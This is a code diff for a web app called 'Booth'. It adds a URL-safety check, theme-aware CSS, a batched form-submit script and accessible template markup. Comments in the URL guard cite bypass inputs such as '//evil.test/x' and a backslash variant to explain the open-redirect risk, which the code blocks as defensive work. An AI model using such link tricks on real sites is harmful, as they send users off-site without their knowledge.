serve as this guard.
NEVER RAISES: a board row is arbitrary agent-written text and a predicate
that raises on one row takes the whole page.
A backslash is read as a SLASH first, because a browser does that in an
http(s) URL: `/\\evil.test` is `//evil.test` to it, and passed here as a
relative path until 2026-09-28 (heid bug-hunt, groa). This predicate also
guards every link in a markdown doc (`booth.items`).
"""
try:
parts = urlsplit((url or "").strip().replace("\\", "/"))
except (ValueError, UnicodeDecodeError):
return False
# Scheme-relative (`//evil.test/x`) parses with an EMPTY scheme and a netloc,
# and navigates off-site while looking like a path. An empty scheme is only
# safe when it is genuinely relative.
if not parts.scheme:
return not parts.netloc
return parts.scheme.lower() in ("http", "https")
def parse_link_entries(text: str) -> list[dict]:
"""Rows of the standing link board, newest last (posting order).
@@ -79,6 +117,8 @@ def parse_link_entries(text: str) -> list[dict]:
"line": i,
"desc": (m.group("desc") or "").strip(),
"url": (m.group("url") or "").strip(),
# Derived ONCE here; no template decides whether a row is a link.
"safe": is_safe_href(m.group("url") or ""),
"who": (m.group("who") or "").strip(),
"when": (m.group("when") or "").strip(),
})
@@ -109,7 +149,8 @@ def remove_link_entry(board: Path, entry_id: str) -> dict | None:
if m:
removed = {"id": entry_id, "raw": raw.rstrip("\n"),
"desc": (m.group("desc") or "").strip(),
"url": (m.group("url") or "").strip()}
"url": (m.group("url") or "").strip(),
"safe": is_safe_href(m.group("url") or "")}
continue
kept.append(raw)
if removed is None:
+251 -37
View File
@@ -27,54 +27,92 @@
if (window.__boothEmbed) return; // declared AND appended: mount once
window.__boothEmbed = true;
/* The ask palette's LIGHT values, written once and used by both light rules
below (OS light, and forced light), so the two can never drift apart. */
var BK_LIGHT = "--bk-accent:#586519;--bk-accent-line:rgba(88,101,25,.55);" +
"--bk-accent-soft:rgba(88,101,25,.11);--bk-on-accent:#fff;--bk-open:#7c5500;--bk-open-text:#7c5500;" +
"--bk-done:#486741;--bk-done-text:#486741;--bk-skip:#52595e;--bk-err:#a42e07";
var CSS = [
/* SVOS values, written as literals: this sheet lands in a page we did not
write, so it can lean on none of base.html's tokens. Hex equivalents of
the SVOS semantic tokens (design-systems palettes/svos @ ed2f8d8). */
/* ---- the way home, and the open-asks jump ---- */
".booth-nav-home,.booth-nav-asks{position:fixed;top:0;z-index:2147483647;",
"display:inline-block;margin:.6rem;padding:.34rem .72rem;border-radius:8px;",
"text-decoration:none;letter-spacing:.01em;box-shadow:0 2px 10px rgba(0,0,0,.35)}",
"display:inline-block;margin:.6rem;padding:.38rem .75rem;border-radius:8px;",
"text-decoration:none;letter-spacing:.01em;box-shadow:0 4px 14px rgba(0,0,0,.4)}",
/* top-right: a top-left chip clips the page title on left-aligned report
layouts, and this matches the zoom view's back affordance. */
".booth-nav-home{right:0;font:600 13px/1.25 ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
"color:#dfe7ef;background:rgba(20,23,32,.82);border:1px solid rgba(66,220,209,.35);",
"-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);transition:background .18s,border-color .18s}",
".booth-nav-home:hover{background:rgba(28,33,46,.95);border-color:rgba(66,220,209,.75)}",
".booth-nav-asks{right:7.2rem;font:700 13px/1.25 ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
"color:#171a23;background:#ffe14e;border:1px solid #ffe14e;transition:filter .18s}",
".booth-nav-asks:hover{filter:brightness(1.08)}",
".booth-nav-home{right:0;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
"color:#dce3e5;background:rgba(12,16,20,.86);border:1px solid rgba(255,255,255,.16);",
"-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);transition:background .12s,border-color .12s}",
".booth-nav-home:hover{background:rgba(31,35,40,.96);border-color:rgba(255,255,255,.34)}",
/* as S5a: our own focus rings, so a host page's `outline:none` cannot take
them. The chips sit on any host: a white ring inside a dark halo reads on both. */
".booth-nav-home:focus-visible,.booth-nav-asks:focus-visible{outline:2px solid #fff;outline-offset:1px;box-shadow:0 0 0 4px #15191d}",
/* amber = needs you: the one chip that asks to be clicked */
".booth-nav-asks{right:7.4rem;font:600 13px/1.25 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
"color:#15191d;background:#fbc10f;border:1px solid #fbc10f;transition:filter .12s}",
".booth-nav-asks:hover{filter:brightness(1.06)}",
"@media print{.booth-nav-home,.booth-nav-asks{display:none}}",
/* ---- ask fragments. Self-contained: the host page carries its own CSS and
nothing here may inherit from it, so the palette adapts via
prefers-color-scheme rather than borrowing. ---- */
".bk-ask{margin:1.1rem 0;padding:.85rem .95rem;border:1px solid rgba(128,140,160,.34);",
"border-top:2px solid #e0b93c;border-radius:9px;background:rgba(128,140,160,.07);",
"font:15px/1.5 ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif}",
".bk-ask.bk-done{border-top-color:#3fae6a}",
".bk-ask.bk-skip{border-top-color:#6f7c8c}",
".bk-ask.bk-skip .bk-ask-tag{color:#8a97a6}",
".bk-ask-tag{display:block;margin-bottom:.5rem;font:700 10px/1 ui-monospace,SFMono-Regular,Menlo,monospace;",
"letter-spacing:.12em;text-transform:uppercase;color:#c9a227}",
".bk-ask.bk-done .bk-ask-tag{color:#3fae6a}",
".bk-ask-title{margin:0 0 .15rem;font-size:.72rem;letter-spacing:.07em;text-transform:uppercase;opacity:.62}",
nothing here may inherit from it. The palette is a set of custom
properties SCOPED TO .bk-ask, flipped by prefers-color-scheme — so each
rule below is written once and a host page cannot reach the values
without targeting our own class. Neutrals stay translucent so the
fragment sits on a light or a dark host alike. ---- */
".bk-ask{--bk-accent:#b2cd12;--bk-accent-line:rgba(178,205,18,.55);--bk-accent-soft:rgba(178,205,18,.12);",
"--bk-on-accent:#0c1014;--bk-open:#d29a02;--bk-open-text:#fbc10f;--bk-done:#71a166;--bk-done-text:#9bce90;",
"--bk-skip:#868d91;--bk-err:#fea47d}",
/* r2b D3 — the operator's theme reaches inside ("theme toggle reaches
inside"): light when the OS asks and dark is not forced, or when light
is forced — the Booth sheet's own rule, carried by `data-bk-theme` on
each fragment (bkTheme, below), never by the host page's <html>. */
"@media (prefers-color-scheme: light){.bk-ask:not([data-bk-theme=dark]){" + BK_LIGHT + "}}",
".bk-ask[data-bk-theme=light]{" + BK_LIGHT + "}",
".bk-ask{margin:1.1rem 0;padding:.9rem 1rem;border:1px solid rgba(128,140,160,.34);",
"border-top:2px solid var(--bk-open);border-radius:8px;background:rgba(128,140,160,.07);",
"font:15px/1.55 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif}",
".bk-ask.bk-done{border-top-color:var(--bk-done)}",
".bk-ask.bk-skip{border-top-color:var(--bk-skip)}",
".bk-ask-tag{display:inline-block;margin-bottom:.6rem;padding:2px 7px;border:1.5px solid currentColor;border-radius:3px;",
"font:600 11px/1.3 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
"letter-spacing:.12em;text-transform:uppercase;color:var(--bk-open-text)}",
".bk-ask.bk-done .bk-ask-tag{color:var(--bk-done-text)}",
".bk-ask.bk-skip .bk-ask-tag{color:var(--bk-skip)}",
".bk-ask-title{margin:0 0 .15rem;font:500 11px/1.4 'JetBrains Mono',ui-monospace,SFMono-Regular,Menlo,monospace;",
"letter-spacing:.12em;text-transform:uppercase}",
".bk-ask-prompt{margin:0 0 .6rem;font-weight:600}",
".bk-ask-opts{display:flex;flex-direction:column;gap:.3rem}",
".bk-ask-opt{display:flex;align-items:flex-start;gap:.55rem;padding:.45rem .6rem;cursor:pointer;",
"border:1px solid rgba(128,140,160,.3);border-radius:6px;background:rgba(128,140,160,.06)}",
".bk-ask-opts{display:flex;flex-direction:column;gap:.35rem}",
".bk-ask-opt{display:flex;align-items:flex-start;gap:.6rem;padding:.55rem .7rem;cursor:pointer;",
"border:1px solid rgba(128,140,160,.3);border-radius:8px;background:rgba(128,140,160,.06)}",
".bk-ask-opt:hover{border-color:rgba(128,140,160,.62)}",
".bk-ask-opt:has(input:checked){border-color:#2fa8a0;background:rgba(47,168,160,.13)}",
".bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:#2fa8a0}",
".bk-ask-opt:has(input:checked){border-color:var(--bk-accent-line);background:var(--bk-accent-soft)}",
".bk-ask-opt input{margin:.25rem 0 0;flex:0 0 auto;accent-color:var(--bk-accent)}",
".bk-ask-lab{display:flex;flex-direction:column;gap:.1rem;min-width:0}",
".bk-ask-det{font-size:.8rem;opacity:.68}",
".bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .6rem;",
/* as S2: nothing here fades. Details inherit the HOST's text colour at full
strength, so they carry the host's contrast whatever the host is; the
smaller size is the de-emphasis. */
".bk-ask-det{font-size:.82rem}",
".bk-ask-notes{display:block;width:100%;box-sizing:border-box;margin:.6rem 0 0;padding:.5rem .65rem;",
"font:inherit;font-size:.9rem;color:inherit;background:rgba(128,140,160,.09);",
"border:1px solid rgba(128,140,160,.34);border-radius:6px;resize:vertical}",
".bk-ask-go{margin-top:.7rem;cursor:pointer;font:700 12px/1 ui-monospace,SFMono-Regular,Menlo,monospace;",
"letter-spacing:.06em;padding:.6rem 1.1rem;border-radius:6px;border:1px solid #2fa8a0;",
"background:#2fa8a0;color:#08131a}",
".bk-ask-go:hover{filter:brightness(1.09)}",
".bk-ask-was{margin:.15rem 0 .55rem;font-size:.84rem;opacity:.8}",
".bk-ask-was b{opacity:1}",
".bk-ask-err{color:#d6452a;font-size:.86rem}",
"@media (prefers-color-scheme: light){.bk-ask-tag{color:#8a6d10}.bk-ask-go{color:#fff}}",
"border:1px solid rgba(128,140,160,.34);border-radius:8px;resize:vertical}",
".bk-ask-notes:focus{outline:2px solid var(--bk-accent);outline-offset:1px}",
/* the host's colour at 75%, not the browser's grey (3.5-4.3:1 on a dark host) */
".bk-ask-notes::placeholder{color:inherit;opacity:.75}",
/* the primary — green, because submitting is what arms the answer */
".bk-ask-go{margin-top:.75rem;cursor:pointer;font:600 13px/1 'IBM Plex Sans',ui-sans-serif,system-ui,-apple-system,'Segoe UI',Roboto,sans-serif;",
"padding:.7rem 1.1rem;border-radius:8px;border:1px solid var(--bk-accent);",
"background:var(--bk-accent);color:var(--bk-on-accent)}",
".bk-ask-go:hover{filter:brightness(1.06)}",
".bk-ask-go:focus-visible{outline:2px solid var(--bk-accent);outline-offset:2px}",
".bk-ask-opt:has(input:focus-visible){outline:2px solid var(--bk-accent);outline-offset:1px}",
".bk-ask-was{margin:.15rem 0 .55rem;font-size:.86rem}",
".bk-ask-err{color:var(--bk-err);font-size:.86rem}",
/* [hidden] restated at class specificity: a host rule as plain as
`p{display:block}` outranks the UA's own [hidden] and would show it. */
".bk-ask-status{margin:.6rem 0 0;font-size:.86rem;color:var(--bk-err)}",
".bk-ask-status[hidden]{display:none}",
"@media print{.bk-ask{break-inside:avoid}}"
].join("");
@@ -319,6 +357,179 @@
return mounted;
}
/* r2b D3: mark every fragment WE mounted with the operator's stored theme
choice (the same localStorage key the Booth's toggle writes — same
origin). Absent or unreadable = follow the OS, as before. The host page's
own <html> is the author's and is never touched. */
var ours = []; // every element this script mounted
function bkTheme() {
var t = null;
try { t = localStorage.getItem("booth.theme"); } catch (e) {}
var forced = t === "light" || t === "dark";
/* OUR fragments only (heid bug-hunt): an author's own `.bk-ask` in the
host page is theirs, and is never marked. */
ours.forEach(function (root) {
var els = [root].concat(Array.prototype.slice.call(root.querySelectorAll(".bk-ask")));
els.forEach(function (el) {
if (!el.classList.contains("bk-ask")) return;
if (forced) el.setAttribute("data-bk-theme", t); else el.removeAttribute("data-bk-theme");
});
});
}
/* A choice made in another tab moves an open report live. */
window.addEventListener("storage", function (e) {
if (e.key === "booth.theme" || e.key === null) bkTheme();
});
/* ONE SUBMIT SAVES EVERY ASK ON THE PAGE (2026-09-27; U3 contract,
"Submitting several asks at once"). One pick is one <form> is one POST,
and that POST's 303 reload wiped every pick made in the others: the
operator answered top to bottom, pressed the last button, and lost the
rest (`auk-audition`, 15:02:23 in the access log).
A submit on one of OUR forms, while ANOTHER of ours holds input the
operator changed, sends every changed ("dirty") form of ours: one POST
each, to its own action, with `Accept: application/json` for the route's
204 (r2 C3), one after another in DOCUMENT ORDER of the forms. A form
nobody touched is not sent - re-sending re-dates an answer nobody gave, and
a blank one is refused - and that includes the pressed one. A refused form
stops nothing. Each form the server took becomes its own new baseline, so
it is never sent again unless it changes again.
Then the page reloads - so what shows is the server's record - ONLY if
nothing is left unsaved: no refusal, and nothing of ours changed while
the batch was in flight. Otherwise NO reload: the pressed form's status line says
what did not save, and everything he entered stays on the page. The page
stays live during the flight, which is why that second condition exists
(heid bug-hunt, 4 of 4 arms). A press during the flight is ignored, never
handed to the browser; nothing is re-sent without a fresh press.
With no batch in flight and no OTHER dirty form, this does nothing and
the browser submits: the plain POST and 303 it always was. */
var sending = false;
/* as S5b (G13): LEAVING WITH AN UNSENT ANSWER ASKS FIRST, when any form of
ours is dirty (against what the server last took). Our own leaving does
not ask: the one-form path is the pressed form going to the server, so
that form is skipped for the ONE navigation its submit starts. A host
handler that cancels the submit after ours ran, or a navigation that
does not replace the page (stopped, or a 204), leaves the answer unsent
on screen, and the next leave asks (heid bug-hunt R3). A clean batch's
reload finds nothing dirty. */
var nativeSent = null;
window.addEventListener("beforeunload", function (ev) {
var skip = nativeSent;
nativeSent = null;
var forms = ourForms();
for (var i = 0; i < forms.length; i++) {
if (forms[i] !== skip && dirty(forms[i])) { ev.preventDefault(); ev.returnValue = ""; return; }
}
});
function serial(form) {
return new URLSearchParams(new FormData(form)).toString();
}
function dirty(form) {
/* Against what the server last TOOK from this page, once it has taken
something (`__bkSaved`, set per form on its 204). Before that, against
the server-rendered default: `form.elements` includes every control
bound by `form=`, wherever it sits in the document. */
if (form.__bkSaved !== undefined) return serial(form) !== form.__bkSaved;
var els = form.elements;
for (var i = 0; i < els.length; i++) {
var el = els[i];
if (el.type === "radio" || el.type === "checkbox") {
if (el.checked !== el.defaultChecked) return true;
} else if (el.tagName === "TEXTAREA" || el.type === "text") {
if (el.value !== el.defaultValue) return true;
}
}
return false;
}
function ourForms() {
/* Document order (querySelectorAll), and only forms inside something this
script mounted: an author's own form is theirs, never ours to send. */
var all = document.querySelectorAll('form[id^="bk-ask-form-"]'), out = [];
for (var i = 0; i < all.length; i++) {
for (var j = 0; j < ours.length; j++) {
if (ours[j].contains(all[i])) { out.push(all[i]); break; }
}
}
return out;
}
function askOf(form) {
var els = form.elements;
for (var i = 0; i < els.length; i++) {
if (els[i].name === "ask") return els[i].value;
}
return "?";
}
function send(form, body) {
/* Resolves to null when saved, or to why it was not. NEVER rejects, so one
refusal cannot stop the chain behind it. */
return fetch(form.action, {
method: "POST", body: body, credentials: "same-origin",
headers: { "Accept": "application/json" }
}).then(function (r) {
if (r.status === 204) return null;
return r.json().then(function (j) { return (j && j.detail) || "status " + r.status; },
function () { return "status " + r.status; });
}, function () { return "the Booth did not answer"; });
}
document.addEventListener("submit", function (ev) {
var form = ev.target;
if (ev.defaultPrevented || !window.fetch || !window.URLSearchParams || !window.FormData) return;
var forms = ourForms();
if (forms.indexOf(form) < 0) return;
/* In flight FIRST: a press on a form with no other dirty form beside it
would otherwise fall through to the browser, a native POST racing the
batch (heid bug-hunt, hulda). */
if (sending) { ev.preventDefault(); return; }
var others = forms.some(function (f) { return f !== form && dirty(f); });
if (!others) {
nativeSent = form;
setTimeout(function () { if (ev.defaultPrevented && nativeSent === form) nativeSent = null; }, 0);
}
if (!others) return; // the browser's own POST and 303
ev.preventDefault();
sending = true;
var batch = forms.filter(dirty);
// every form's fields read NOW, at the press
var bodies = batch.map(function (f) { return new URLSearchParams(new FormData(f)); });
var failed = [], chain = Promise.resolve();
batch.forEach(function (f, n) {
chain = chain.then(function () {
return send(f, bodies[n]).then(function (why) {
if (why === null) f.__bkSaved = bodies[n].toString();
else failed.push(askOf(f) + " (" + why + ")");
});
});
});
chain.then(function () {
sending = false; // before anything here can throw
/* A refusal blocks the reload ON ITS OWN: a refused form the operator
then set back to its first value reads clean, and "nothing dirty"
alone reloaded over the failure without a word (heid bug-hunt,
hulda). Otherwise anything dirty was touched mid-flight. */
var changed = forms.some(dirty);
if (!failed.length && !changed) { location.reload(); return; }
var saved = batch.length - failed.length;
var st = form.parentNode && form.parentNode.querySelector(".bk-ask-status");
if (!st) return;
st.textContent = failed.length
? "Saved " + saved + " of " + batch.length + ". Not saved: " + failed.join("; ") +
". Nothing you entered was cleared; reload to see what was saved."
: "Saved " + saved + " of " + batch.length + ". You changed an answer while " +
"that was saving, and it is not saved yet: press Submit again to save it.";
st.hidden = false;
});
});
function start() {
var name = boothName();
if (!name || !document.body) return;
@@ -334,6 +545,9 @@
if (!data) return;
favicon(data.favicon);
var mounted = place(data.marks || []);
ours = [];
Object.keys(mounted).forEach(function (id) { ours = ours.concat(mounted[id]); });
bkTheme();
reassociate();
asksChip(data.open || [], mounted);
document.dispatchEvent(new CustomEvent("booth:mounted", { detail: { booth: name } }));
+10 -7
View File
@@ -25,10 +25,10 @@
{% set skipped = a.answer and not picked %}
<div class="bk-ask{% if picked %} bk-done{% elif skipped %} bk-skip{% endif %}" id="bk-ask-{{ a.id }}{% if q.key %}-{{ q.key }}{% endif %}">
<span class="bk-ask-tag">{% if picked %}✓ answered{% elif skipped %}— skipped{% else %}? your pick{% endif %}</span>
<p class="bk-ask-prompt">{{ q.prompt }}</p>
<p class="bk-ask-prompt" id="bk-ask-{{ a.id }}{% if q.key %}-{{ q.key }}{% endif %}:prompt">{{ q.prompt }}</p>
{% if picked %}<p class="bk-ask-was">recorded: <b>{{ qa.label }}</b>{% if qa.notes %} — {{ qa.notes }}{% endif %}</p>
{% elif skipped %}<p class="bk-ask-was">left blank — pick one any time, or leave it{% if qa and qa.notes %}; note: {{ qa.notes }}{% endif %}</p>{% endif %}
<div class="bk-ask-opts">
<div class="bk-ask-opts" role="radiogroup" aria-labelledby="bk-ask-{{ a.id }}{% if q.key %}-{{ q.key }}{% endif %}:prompt">
{% for o in q.options %}
<label class="bk-ask-opt">
<input type="radio" name="{{ field }}" value="{{ o.id }}"
@@ -42,7 +42,7 @@
{% if q.notes %}
<textarea class="bk-ask-notes" name="notes.{{ q.key }}" rows="2"
{% if not standalone %}form="{{ form_id }}"{% endif %}
placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
aria-label="notes on this one" placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
{% endif %}
</div>
{% endmacro %}
@@ -53,15 +53,18 @@
<div class="bk-ask{% if a.answer %} bk-done{% endif %}" id="bk-ask-{{ a.id }}-submit">
<form id="{{ form_id }}" method="post" action="/b/{{ name_url }}/answer"></form>
<input type="hidden" name="ask" value="{{ a.id }}" form="{{ form_id }}">
<span class="bk-ask-tag">{% if a.answer and a.answer.complete %}✓ answered {{ a.answer.answered_at }}
{%- elif a.answer %}◐ {{ a.questions|length - (a.answer.unanswered|length) }} of {{ a.questions|length }} answered · {{ a.answer.answered_at }}
<span class="bk-ask-tag">{% if a.answer and a.answer.complete %}✓ answered <time datetime="{{ a.answer.answered_at }}">{{ a.answer.answered_at|clock }}</time>
{%- elif a.answer %}◐ {{ a.questions|length - (a.answer.unanswered|length) }} of {{ a.questions|length }} answered · <time datetime="{{ a.answer.answered_at }}">{{ a.answer.answered_at|clock }}</time>
{%- else %}? submit your picks{% endif %}</span>
{% if not a.answer %}<p class="bk-ask-was">Answer what you can — blanks are fine, and you can come back.</p>{% endif %}
{% if a.notes_enabled %}
<textarea class="bk-ask-notes" name="notes" rows="3" form="{{ form_id }}"
placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
aria-label="{{ a.notes_label }}" placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
{% endif %}
<button type="submit" class="bk-ask-go" form="{{ form_id }}">{% if a.answer %}Update answer{% else %}Submit answer{% endif %}</button>
{# Empty and hidden: where embed.js says which asks a several-at-once submit
could not save. The script only sets its text; it builds no markup. #}
<p class="bk-ask-status" role="status" hidden></p>
</div>
{% endmacro %}
@@ -71,7 +74,7 @@
<div class="bk-ask"><span class="bk-ask-tag">⚠ broken ask</span>
<p class="bk-ask-err">this question could not be read: {{ a.error }}</p></div>
{% else %}
{% if a.title %}<p class="bk-ask-title" id="bk-ask-{{ a.id }}">{{ a.title }}</p>{% endif %}
{% if a.title %}<p class="bk-ask-title" id="bk-ask-{{ a.id }}:title">{{ a.title }}</p>{% endif %}
{% for q in a.questions %}{{ question(a, q, form_id, name_url) }}{% endfor %}
{{ submit(a, form_id, name_url) }}
{% endif %}
+21
View File
@@ -0,0 +1,21 @@
{# r2b D1b — a booth's two dates, defined ONCE for the Desk row and the booth
header. Created is the day it began (the filesystem's birth time); updated
is how recently its CONTENT moved (`landed_at`, the clock "new since you
looked" reads). Each is a <time> with its exact stamp as the title.
- A date the filesystem cannot give, or the calendar cannot hold, renders
NOTHING — never a plausible guess, and never a 500 for the whole Desk.
- "Updated" shows whenever it differs from "created" by a minute or more,
EITHER way: copied files keep their mtimes while the folder is born now,
so content can be older than its booth. Within a minute, one date.
- A content clock AHEAD of now (a wrong clock somewhere) is said as its
date, never as an age — "updated just now" would be a lie. #}
{% macro dates(created_at, landed_at, now) -%}
{%- set made = created_at|day(now) if created_at else "" -%}
{%- if made %} · <time class="d-made" datetime="{{ created_at|iso }}" title="created {{ created_at|stamp }}">created {{ made }}</time>{% endif -%}
{%- set moved = landed_at|day(now) if landed_at else "" -%}
{%- if moved and (not made or (landed_at - created_at)|abs >= 60) -%}
{%- set age = now - landed_at -%}
{%- if age < -60 %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ moved }}</time>
{%- else %} · <time class="d-upd" datetime="{{ landed_at|iso }}" title="updated {{ landed_at|stamp }}">updated {{ age|ago }}</time>{% endif -%}
{%- endif -%}
{%- endmacro %}
+82 -25
View File
@@ -26,22 +26,28 @@
{% set flags = marks | selectattr('shape', 'equalto', 'flag') | rejectattr('error') | list %}
<section class="marks">
{# `picks_only` + `back_view`: the review rail (view.html) includes this panel
with `marks` narrowed to the open picks it should offer, and wants only the
pick forms, each landing back on the review (`back=view`, R2 C3). ONE
renderer of a pick form, whichever page it sits on. #}
{% if not picks_only %}
{% for a in broken %}
<article class="mark mark-note is-broken" id="mark-{{ a.id }}">
<header class="mark-head">
<span class="mark-state">⚠ broken</span>
<span class="mark-id"><code>{{ a.id }}</code></span>
<span class="board-spacer"></span>
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark">
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
<input type="hidden" name="mark" value="{{ a.id }}">
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
<button type="submit" class="mark-x" title="withdraw this mark">×</button>
<button type="submit" class="mark-x" title="withdraw this mark" aria-label="withdraw this mark">×</button>
</form>
</header>
<p class="mark-error">This mark could not be read: {{ a.error }}</p>
</article>
{% endfor %}
{% endif %}
{% for a in picks %}
<article class="mark mark-pick{% if a.answer and a.answer.complete %} is-answered{% elif a.answer %} is-partial{% elif a.error %} is-broken{% endif %}" id="mark-{{ a.id }}">
<header class="mark-head">
@@ -50,7 +56,7 @@
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>{% endif %}
<span class="board-spacer"></span>
{% if a.answer and not a.answer.complete %}<span class="mark-part">{{ (a.questions|length) - (a.answer.unanswered|length) }}/{{ a.questions|length }}</span>{% endif %}
{% if a.answer %}<span class="mark-when">{{ a.answer.answered_at }}{% if a.answer.answered_by %} · {{ a.answer.answered_by }}{% endif %}</span>{% endif %}
{% if a.answer %}<span class="mark-when"><time datetime="{{ a.answer.answered_at }}">{{ a.answer.answered_at|clock }}</time>{% if a.answer.answered_by|byline %} · {{ a.answer.answered_by|byline }}{% endif %}</span>{% endif %}
</header>
{% if a.error %}
<p class="mark-error">This question could not be read: {{ a.error }}</p>
@@ -75,7 +81,7 @@
{% endif %}
<details class="mark-formwrap"{% if not a.answer %} open{% endif %}>
<summary class="mark-change">{% if a.answer %}change answer{% else %}answer{% endif %}</summary>
<form class="mark-form" method="post" action="/b/{{ name_url }}/answer">
<form class="mark-form" method="post" action="/b/{{ name_url }}/answer" data-inplace>
{# The field is still `ask`: inline fragments in reports the operator
has already published POST that name, and breaking every landed
verbatim report to tidy a form field is not a trade worth making. #}
@@ -83,11 +89,12 @@
{# On the standalone page, come back HERE — the booth's own page is a
verbatim report that cannot show the recorded judgment. #}
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
{% if back_view %}<input type="hidden" name="back" value="view"><input type="hidden" name="f" value="{{ back_view }}">{% endif %}
{% for q in a.questions %}
{% set field = 'choice.' ~ q.key if a.multi else 'choice' %}
{% set qa = a.answer.answers.get(q.key) if (a.answer and a.multi) else a.answer %}
<fieldset class="mark-q">
{% if a.multi %}<legend class="mark-q-prompt">{{ loop.index }}. {{ q.prompt }}</legend>{% endif %}
{% if a.multi %}<legend class="mark-q-prompt">{{ loop.index }}. {{ q.prompt }}</legend>{% else %}<legend class="sr-only">{{ q.prompt }}</legend>{% endif %}
<div class="mark-options">
{% for o in q.options %}
<label class="mark-opt{% if qa and qa.choice == o.id %} is-current{% endif %}">
@@ -101,12 +108,12 @@
{% endfor %}
</div>
{% if q.notes %}
<textarea class="mark-notes mark-qnotes" name="notes.{{ q.key }}" rows="2" placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
<textarea class="mark-notes mark-qnotes" name="notes.{{ q.key }}" rows="2" aria-label="notes on this one" placeholder="notes on this one (optional)">{{ qa.notes if qa else '' }}</textarea>
{% endif %}
</fieldset>
{% endfor %}
{% if a.notes_enabled %}
<textarea class="mark-notes" name="notes" rows="3" placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
<textarea class="mark-notes" name="notes" rows="3" aria-label="{{ a.notes_label }}" placeholder="{{ a.notes_label }} (optional)">{{ a.answer.notes if a.answer else '' }}</textarea>
{% endif %}
<div class="mark-actions">
<button type="submit" class="mark-submit">{% if a.answer %}Update answer{% else %}Submit answer{% endif %}</button>
@@ -117,25 +124,52 @@
</article>
{% endfor %}
{% for a in notes %}
<article class="mark mark-note" id="mark-{{ a.id }}">
{% if not picks_only %}
{# FLAGS come right after the picks. On the lightbox (`tray` defined) they
render as the TRAY: the flagged items in SET order — by tile number, the
declared R2 change from the click order below — each the original shown
small, blurred if the item is. The standalone marks page has no item
records, so it keeps the list, in `(created, id)` order. #}
{% if tray is defined %}{% if tray %}
{# In the lightbox the tray and the notes FOLD on a narrow screen (R2 C5):
a closed <details>, which base.html shows open-and-summary-less above
1000px with no script. Below it, the question sits above the set and the
tray and notes are one tap away instead of burying it. #}
<details class="v-fold">
<summary class="v-fold-head">✔ flagged · {{ tray|length }}</summary>
<article class="mark mark-flags" id="mark-flags">
<header class="mark-head">
<span class="mark-state mark-state-note">note</span>
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
{% else %}<span class="mark-target">on this booth</span>{% endif %}
<span class="board-spacer"></span>
<span class="mark-when">{{ a.created }}{% if a.by %} · {{ a.by }}{% endif %}</span>
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark">
<input type="hidden" name="mark" value="{{ a.id }}">
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
<button type="submit" class="mark-x" title="withdraw this note">×</button>
</form>
<span class="mark-state mark-state-flag">✔ flagged</span>
<span class="mark-id">{{ tray|length }} item{{ '' if tray|length == 1 else 's' }} · in set order</span>
</header>
<pre class="mark-text">{{ a.text }}</pre>
<div class="tray">
{% for it in tray %}
<a class="tray-item{% if it.blurred %} is-blurred{% endif %}" href="view?f={{ it.url }}" title="{{ it.name }}">
<span class="sr-only">{{ it.name }}</span>{%- if it.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ it.thumb or it.url }}" alt="">{% else %}<span class="tray-kind">{{ it.kind }}</span>{% endif -%}
<span class="tray-ord">#{{ "%0*d"|format(ord_width, it.ordinal) }}</span></a>
{% endfor %}
</div>
</article>
{% endfor %}
{% if flags %}
</details>
{% endif %}
{% if orphan_flags %}
<article class="mark mark-flags">
<header class="mark-head">
<span class="mark-state mark-state-flag">✔ flagged</span>
<span class="mark-id">{{ orphan_flags|length }} on files no longer in this booth</span>
</header>
<ul class="orphan-flags">
{% for m in orphan_flags %}
<li><span class="mono">{{ m.target }}</span>
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
<input type="hidden" name="mark" value="{{ m.id }}">
<button type="submit" class="mark-x" title="withdraw this flag" aria-label="withdraw this flag">×</button>
</form></li>
{% endfor %}
</ul>
</article>
{% endif %}
{% elif flags %}
<article class="mark mark-flags" id="mark-flags">
<header class="mark-head">
<span class="mark-state mark-state-flag">✔ flagged</span>
@@ -149,11 +183,34 @@
</article>
{% endif %}
{% set fold_notes = tray is defined and notes %}
{% if fold_notes %}<details class="v-fold"><summary class="v-fold-head">notes · {{ notes|length }}</summary>{% endif %}
{% for a in notes %}
<article class="mark mark-note" id="mark-{{ a.id }}">
<header class="mark-head">
<span class="mark-state mark-state-note">note</span>
{% if a.target %}<span class="mark-target">on <a href="view?f={{ a.target|urlencode }}">{{ a.target }}</a></span>
{% else %}<span class="mark-target">on this booth</span>{% endif %}
<span class="board-spacer"></span>
